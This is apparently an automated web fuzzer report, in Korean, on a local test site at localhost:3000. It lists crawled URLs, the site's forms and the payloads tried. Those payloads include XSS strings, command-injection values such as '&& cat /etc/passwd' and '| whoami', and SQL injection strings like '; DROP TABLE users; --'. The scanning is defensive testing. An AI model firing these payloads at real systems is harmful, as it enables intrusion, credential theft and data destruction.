웹 퍼저 리포트

2025-04-09 21:26:17

목차

1. 크롤링 결과

크롤링한 URL
- http://localhost:3000/productDetail/16
- http://localhost:3000/
- http://localhost:3000/postDetail/3
- http://localhost:3000/productDetail/5
- http://localhost:3000/register
- http://localhost:3000/postDetail/13
- http://localhost:3000/posts
- http://localhost:3000/postDetail/7
- http://localhost:3000/postDetail/1
- http://localhost:3000/productDetail/14
- http://localhost:3000/products
- http://localhost:3000/postDetail/10
- http://localhost:3000/productDetail/13
- http://localhost:3000/productDetail/11
- http://localhost:3000/postDetail/4
- http://localhost:3000/products?page=2
- http://localhost:3000/postDetail/5
- http://localhost:3000/postDetail/6
- http://localhost:3000/posts?page=1
- http://localhost:3000/login
- http://localhost:3000/postDetail/17
- http://localhost:3000/postDetail/11
- http://localhost:3000/productDetail/8
- http://localhost:3000/postDetail/2

- http://localhost:3000/postDetail/8
- http://localhost:3000/postDetail/12
- http://localhost:3000/products/add
- http://localhost:3000/postDetail/16
- http://localhost:3000/productDetail/9
- http://localhost:3000/posts?page=2
- http://localhost:3000/productDetail/6
- http://localhost:3000/productDetail/7
- http://localhost:3000/productDetail/10
- http://localhost:3000/postDetail/15
- http://localhost:3000/products?page=1
- http://localhost:3000/productDetail/1
- http://localhost:3000/posts/add
- http://localhost:3000/productDetail/4
- http://localhost:3000/productDetail/3
- http://localhost:3000/productDetail/2
- http://localhost:3000/productDetail/12
- http://localhost:3000/productDetail/15
- http://localhost:3000/postDetail/14
- http://localhost:3000/postDetail/9

2. 폼과 입력 필드

URL	폼 액션	메소드	입력 필드
http://localhost:3000/products	http://localhost:3000/products/search	GET	query (type: text)
http://localhost:3000/posts	http://localhost:3000/products/search	GET	query (type: text)
http://localhost:3000/login	http://localhost:3000/login	POST	username (type: text), password (type: password)

3. 퍼징 시도 및 결과

-- 취약점 발견 시도 --

XSS

폼 액션	페이로드	결과
http://localhost:3000/products/search	'"><script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/products/search	<script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/products/search	<svg/onload=alert('XSS')>	XSS 취약점 발견
http://localhost:3000/products/search	<img src=x onerror=alert('XSS')>	XSS 취약점 발견
http://localhost:3000/products/search	<iframe src='javascript:alert("XSS")'></iframe>	XSS 취약점 발견
http://localhost:3000/products/search	'"><script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/products/search	<script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/products/search	<img src=x onerror=alert('XSS')>	XSS 취약점 발견
http://localhost:3000/products/search	<svg/onload=alert('XSS')>	XSS 취약점 발견
http://localhost:3000/products/search	<iframe src='javascript:alert("XSS")'></iframe>	XSS 취약점 발견

Command Injection

폼 액션	페이로드	결과
http://localhost:3000/products/search	netstat -an	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/products/search	; ls	Command Injection 취약점 발견
http://localhost:3000/products/search	| whoami	Command Injection 취약점 발견
http://localhost:3000/products/search	ps aux	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/products/search	; ls	Command Injection 취약점 발견
http://localhost:3000/products/search	| whoami	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/products/search	netstat -an	Command Injection 취약점 발견
http://localhost:3000/products/search	ps aux	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/login	netstat -an	Command Injection 취약점 발견
http://localhost:3000/login	ps aux	Command Injection 취약점 발견
http://localhost:3000/login	; ls	Command Injection 취약점 발견
http://localhost:3000/login	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/login	| whoami	Command Injection 취약점 발견

http://localhost:3000/login	&& cat /etc/passwd	Command Injection 취약점 발견

취약점 없는 시도

폼 액션	페이로드	결과
http://localhost:3000/products/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/products/search	admin' --	취약점 없음
http://localhost:3000/products/search	'; DROP TABLE users; --	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/products/search	' OR '1'='1	취약점 없음
http://localhost:3000/products/search	' OR '1'='1	취약점 없음
http://localhost:3000/products/search	'; DROP TABLE users; --	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/products/search	admin' --	취약점 없음
http://localhost:3000/login	' OR '1'='1' ({	취약점 없음
http://localhost:3000/login	' OR '1'='1' #	취약점 없음
http://localhost:3000/login	'; DROP TABLE users; --	취약점 없음
http://localhost:3000/login	<script>alert('XSS')</script>	취약점 없음
http://localhost:3000/login	'"><script>alert('XSS')</script>	취약점 없음

http://localhost:3000/login	<img src=x onerror=alert('XSS')>	취약점 없음
http://localhost:3000/login	<svg/onload=alert('XSS')>	취약점 없음
http://localhost:3000/login	<iframe src='javascript:alert("XSS")'></iframe>	취약점 없음
http://localhost:3000/login	' OR '1'='1	취약점 없음
http://localhost:3000/login	' OR '1'='1' /*	취약점 없음
http://localhost:3000/login	admin' --	취약점 없음